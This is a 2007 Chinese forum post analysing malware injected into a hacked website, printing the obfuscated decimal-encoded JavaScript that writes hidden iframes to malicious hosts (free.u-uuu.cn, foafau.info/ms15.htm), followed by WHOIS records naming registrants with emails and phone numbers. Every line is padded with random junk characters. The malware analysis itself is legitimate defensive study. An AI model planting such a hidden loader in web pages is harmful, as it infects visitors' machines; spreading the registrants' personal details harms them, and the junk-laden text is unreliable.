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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, "'mr0G9X  
7' TXR[   
http://www.areway.cn/?p=175 g<N3 L [  
&}vc^io  
B~/ejC!  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: &3'zG)  
          ?1lx8+  
<script>t=’60,105,102,114,97,109,101, N;XJMk_ H  
32,115,114,99,61,104,116,116,112,58,47,47, |NaEXzo|qY  
102,114,101,101,46,117,45,117,117,117,46,99, +/2:  
110,47,101,114,114,111,114,46,104,116,109, &6@e9ff0  
32,119,105,100,116,104,61,49,48,48,32,104, vKNxL^x  
101,105,103,104,116,61,48,62,60,47,105,102, ?iNihE  
114,97,109,101,62′; Pna2IB+  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> DqlspT  
                                                                                                  k0!D9tk  
<script>t=’60,105,102,114,97,109,101,32,115, HZzdelo  
114,99,61,104,116,116,112,58,47,47,102,114, d)jX%Z$LC  
101,101,46,117,45,117,117,117,46,99,110,47, o$bD?Zn  
101,114,114,111,114,46,104,116,109,32,119, dG'5: ,n/  
105,100,116,104,61,49,48,48,32,104,101,105, h_ J|uu  
103,104,116,61,48,62,60,47,105,102,114,97, j=TG&#e  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); XX'Rv]T  
document.write(t);</script> cLCzLNyKl  
                                                                                                  *saO~.-;4  
<html xmlns=” D`r_ Dz  
http://www.w3.org/1999/xhtml 5}_DyoV  
“> p&,2@(Q  
<head> 3W}xYYs] ^  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> #ui7YUR=2  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ;/<J& #2.  
<title>首页 - 爱生活家庭网 v0S7 ]?_  
                                                                                                                                                    X P_ V  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ]; G$~[  
转换字符串后的大概内容是(谁点击后果自付): pM7xnL4  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… jRzQ`*KC#  
                                                                                                                                  E| =~rIKN  
查询玉米u-uuu.cn的详细信息: D1<$]r,  
Domain Name: u-uuu.cn t"Djh^=y  
ROID: 20070901s10001s64972306-cn j 1#T]CDs  
Domain Status: ok k84JDPu#  
Registrant Organization: 王雷 -YP>mwSN?  
Registrant Name: 王雷 9{V54ue;  
Administrative Email: czlovexs@126.com t= oTU,<  
Sponsoring Registrar: 北京万网志成科技有限公司 gEQevy`T%c  
Name Server:ns.yovole.com Cn(0ID+3f  
Name Server:ns1.yovole.com @ 6{U*vs  
Registration Date: 2007-09-01 17:54 ce P1mO  
Expiration Date: 2008-09-01 17:54 *ocbV`  
最后PING了一下地址 都没有什么…. 9b*1-1"  
                                                                                                #3act )m  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. zMQ|j_ l9E  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Qr l>A*  
<script language=”javascript” src=” _w>9Z>PR  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script cYMlc wS  
> Q!dNJQpb  
这个玉米应该有可能是木马作者的: "Hw%@  
foafau.info的详细信息: Bn_@R`  
Access to INFO WHOIS information is provided to assist persons in r)SwV!b  
determining the contents of a domain name registration record in the /R44x\nhr  
Afilias registry database. The data in this record is provided by L(!mm  
Afilias Limited for informational purposes only, and Afilias does not Dx<CO1%z-  
guarantee its accuracy.  This service is intended only for query-based :X;AmLf`2u  
access. You agree that you will use this data only for lawful purposes /IN/SZx  
and that, under no circumstances will you use this data to: (a) allow, sd~T  
enable, or otherwise support the transmission by e-mail, telephone, or RW. >;|m  
facsimile of mass unsolicited, commercial advertising or solicitations /K]<7  
to entities other than the data recipient’s own existing customers; or oZ(T`5  
(b) enable high volume, automated, electronic processes that send sw715"L  
queries or data to the systems of Registry Operator, a Registrar, or ?krgZ;Jj  
Afilias except as reasonably necessary to register domain names or I*^3 Z  
modify existing registrations. All rights reserved. Afilias reserves Qv@Z#  
the right to modify these terms at any time. By submitting this query, |%~sU,Y\(  
you agree to abide by this policy. H|iY<7@  
Domain ID:D22418703-LRMS g+98G8 R  
Domain Name:FOAFAU.INFO *"D8E^9  
Created On:20-Nov-2007 16:05:42 UTC [1*3 kt*h  
Last Updated On:20-Nov-2007 16:05:44 UTC Fv6<Cz6L  
Expiration Date:20-Nov-2008 16:05:42 UTC )gR !G]Y  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) :h+gSvn:  
Status:CLIENT DELETE PROHIBITED W+0VrH 0F  
Status:CLIENT RENEW PROHIBITED e-#!3j!'  
Status:CLIENT TRANSFER PROHIBITED ^l\^\ >8  
Status:CLIENT UPDATE PROHIBITED 8+ <vumnw  
Status:TRANSFER PROHIBITED e.|_=Gd2/  
Registrant ID:GODA-040110615 $xf{m9 8  
Registrant Name:liu hong ,@Izx  
Registrant Organization: L4'FL?~I  
Registrant Street1:beijing *OQr:e<}  
Registrant Street2: G:2m)0bW  
Registrant Street3: 0UB,EI8   
Registrant City:beijing P]G`Y>#$r  
Registrant State/Province: z@0*QZ.y 1  
Registrant Postal Code:100000 d?/?VooU  
Registrant Country:CN !~&vcz0>)9  
Registrant Phone:+86.860108888777 /WJ*ro]Hd$  
Registrant Phone Ext.: OxraaN`  
Registrant FAX: V3u[{^^f  
Registrant FAX Ext.: ~e<v<92Xu  
Registrant Email:bbbshiji@163.com a9GLFA8Vq  
Admin ID:GODA-240110615 V nv9 <=R  
Admin Name:liu hong |[VtYV _{  
Admin Organization: >"Z^8J  
Admin Street1:beijing N}3$1=@Y  
Admin Street2: 6h|@Bz/A  
Admin Street3: 9s-op:5  
Admin City:beijing mb\}F9  
Admin State/Province: zW_V)U Ne  
Admin Postal Code:100000 /i]!=~\qFs  
Admin Country:CN YpT x1c-  
Admin Phone:+86.860108888777 o0p%j4vac  
Admin Phone Ext.: t1)b26;  
Admin FAX: [~ sXjaL8  
Admin FAX Ext.: *8uSy/l  
Admin Email:bbbshiji@163.com GP5Y5 )  
Billing ID:GODA-340110615 pCQB<6&1N  
Billing Name:liu hong ;y7V-sf  
Billing Organization: _Z|s!~wdz  
Billing Street1:beijing vRLkz4z   
Billing Street2: i~dW)7  
Billing Street3: ''Y}Q"  
Billing City:beijing ?5#Ng,8iT  
Billing State/Province: yuvt<kz  
Billing Postal Code:100000 T7AFL=  
Billing Country:CN /]Fs3uf  
Billing Phone:+86.860108888777 -BNlZgk-^  
Billing Phone Ext.: V6,D~7  
Billing FAX: y#AwuC K  
Billing FAX Ext.: o?f7_8fG  
Billing Email:bbbshiji@163.com aPq9^S*  
Tech ID:GODA-140110615 ai(<"|(  
Tech Name:liu hong U/2g N H  
Tech Organization: Vs~^r>  
Tech Street1:beijing eiJO;%fl>l  
Tech Street2: -}m#uUqI  
Tech Street3: 4'W|'4'b  
Tech City:beijing p1Q[c0NMK  
Tech State/Province: |#x;}_>7  
Tech Postal Code:100000 2B8p3A  
Tech Country:CN %:n1S]Vr  
Tech Phone:+86.860108888777 6rEt!v #K[  
Tech Phone Ext.: {6v|d{V+e  
Tech FAX: /vl]Oa&U  
Tech FAX Ext.: !<!sB)  
Tech Email:bbbshiji@163.com nu] k<^I5|  
Name Server:NS27.DOMAINCONTROL.COM ={?}[E  
Name Server:NS28.DOMAINCONTROL.COM O/wl";-  
Name Server: {_1^ GIIS  
Name Server: Z1FO.[FV  
Name Server: zi23k=  
Name Server: N7%+n*Z  
Name Server: 5r<%xanXW/  
Name Server: "-y\F}TE  
Name Server: oW-Tw@D  
Name Server: N 5rY*S  
Name Server: cWl)ZE<hM  
Name Server: JEX{jf  
Name Server: JbG\Ywi0]  
                                                                                                          0Ng6Xg(QHc  
接着下载每个文件里面的代码: jK#y7E  
一步一步看.. sB_o HUMH6  
!ZbNW4rIP  
U`JzE"ps]  
+(5H$O{h  
owTW_V  
?#xNz=V  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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